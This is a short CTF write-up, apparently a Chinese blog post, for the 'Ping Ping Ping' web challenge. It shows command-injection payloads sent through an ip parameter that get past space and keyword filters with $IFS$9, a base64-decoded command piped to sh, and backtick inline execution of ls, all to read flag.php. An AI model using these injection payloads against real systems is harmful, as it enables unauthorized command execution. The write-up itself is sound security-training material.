日常练习之web(Ping Ping Ping)

打开题目是/?ip=
猜测应该是命令执行,先试一下?ip=127.0.0.1;cat flag
在这里插入图片描述发现过滤了空格,尝试?ip=127.0.0.1;ls
在这里插入图片描述发现flag.php,绕过空格

/?ip=127.0.0.1;cat$IFS$9flag.php
flag被过滤了,换一种方法先看看index.php
/?ip=127.0.0.1;cat$IFS$9index.php

在这里插入图片描述

发现bash也没了,不过可以用sh来执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw就是base64编码的cat flag.php
sh就是执行这个命令
在这里插入图片描述
拿到flag
后来看一些大师傅的wp时发现还有更好的解法
直接进行内联执行便可以得到结果
?ip=127.0.0.1;cat$IFS$9`ls`
内联就是把反引号里的输出内容作为执行的内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值